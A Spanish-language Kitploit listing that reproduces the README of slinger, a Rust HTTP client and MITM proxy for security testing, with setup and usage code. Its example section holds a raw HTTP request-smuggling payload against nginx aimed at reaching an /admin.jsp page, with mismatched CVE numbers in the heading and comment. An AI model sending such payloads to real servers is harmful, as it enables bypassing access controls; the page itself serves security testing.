Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/emo-crab/slinger
Análisis de VulnerabilidadesProxies Web e InterceptaciónPruebas de Seguridad de APIsSeguridad WebPruebas de Penetración
GitHubemo-crab/slinger

slinger

Un cliente HTTP desarrollado específicamente para investigadores de seguridad.

Ver Repositorio
302hace 2 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Contributors Forks Stargazers Issues MIT License crates io


Logo

slinger(投石器)

Un Cliente HTTP para Rust diseñado para hackers.
Explora la documentación »

Ver Demo · Reportar Bug · Solicitar Funcionalidad

Acerca del Proyecto

Captura de Pantalla del Nombre del Producto

Slinger es un espacio de trabajo que contiene:

slinger

La biblioteca principal de Cliente HTTP para Rust diseñada para hackers.

  • Política de redirección personalizable
  • Proxy http/https y socks5/socks5h
  • Almacén de cookies
  • Solicitud de socket raw
  • HTTPS mediante tls

slinger-mitm

Un proxy Man-in-the-Middle (MITM) con interceptación transparente de tráfico HTTPS, similar a Burp Suite.

  • Generación automática de certificados CA con gestión de certificados mejorada (inspirado en hudsucker)
  • Caché de certificados para alto rendimiento
  • Interceptación HTTPS transparente usando backend rustls
  • Interfaces de interceptación y modificación de tráfico
  • Números de serie aleatorios y manejo de desviación de reloj
  • Reutiliza la implementación de Socket de slinger
  • Dependencias externas mínimas

(volver al principio)

Comenzando

Usando slinger (Cliente HTTP)

Este ejemplo habilita algunas características opcionales, por lo que tu Cargo.toml podría verse así:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

Y luego el código:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Usando slinger-mitm (Proxy MITM)

Agrega a tu Cargo.toml:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Código de ejemplo:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Agregar interceptor de logging
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

Consulta slinger-mitm/README.md para más detalles sobre el uso del proxy MITM.

Características

Slinger soporta las siguientes características opcionales:

  • tls - Característica base TLS (habilita tipos e interfaces TLS sin un backend específico)
  • rustls - Soporte HTTPS usando Rustls (requiere tls, implementación pura en Rust)
  • http2 - Soporte del protocolo HTTP/2 (requiere un backend TLS)
  • cookie - Soporte para manejo de cookies
  • charset - Soporte de codificación de caracteres
  • serde - Soporte de serialización/deserialización
  • gzip - Soporte de compresión Gzip
  • schema - Soporte de JSON Schema

Selección de Backend TLS

Para usar TLS, debes:

  1. Habilitar la característica tls
  2. Elegir el backend rustls, O proporcionar un conector TLS personalizado

Combinaciones de características de ejemplo:

root@kitploit:~
# Usando backend rustls
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Usando backend TLS personalizado (requiere implementar CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Backend TLS Personalizado (por ejemplo, native-tls, OpenSSL)

Si quieres usar native-tls, OpenSSL u otras bibliotecas TLS, puedes implementar un conector TLS personalizado. Consulta native_tls_example.rs para un ejemplo completo de cómo integrar native-tls.

Ejemplo

  • Nginx - Contrabando HTTP CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// cuando usas el proxy de BurpSuite necesitas **deshabilitar** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

Para más ejemplos, consulta el ejemplo

(volver al principio)

Contribuyendo

Las contribuciones son lo que hace que la comunidad de código abierto sea un lugar increíble para aprender, inspirar y crear. Cualquier contribución que hagas es muy apreciada.

Si tienes una sugerencia que pueda mejorar esto, por favor haz un fork del repositorio y crea un pull request. También puedes simplemente abrir un issue con la etiqueta "enhancement". ¡No olvides darle una estrella al proyecto! ¡Gracias de nuevo!

  1. Haz un Fork del Proyecto
  2. Crea tu Rama de Funcionalidad (git checkout -b feature/AmazingFeature)
  3. Haz Commit de tus Cambios (git commit -m 'Add some AmazingFeature')
  4. Sube a la Rama (git push origin feature/AmazingFeature)
  5. Abre un Pull Request

(volver al principio)

Licencia

Distribuido bajo la licencia GPL-3.0-only. Consulta LICENSE para más información.

(volver al principio)

Contacto

Tu Nombre - @Kali_Team - [email protected]

Enlace del Proyecto: https://github.com/emo-crab/slinger

(volver al principio)

Agradecimientos

  • reqwest

(volver al principio)

Descargar herramienta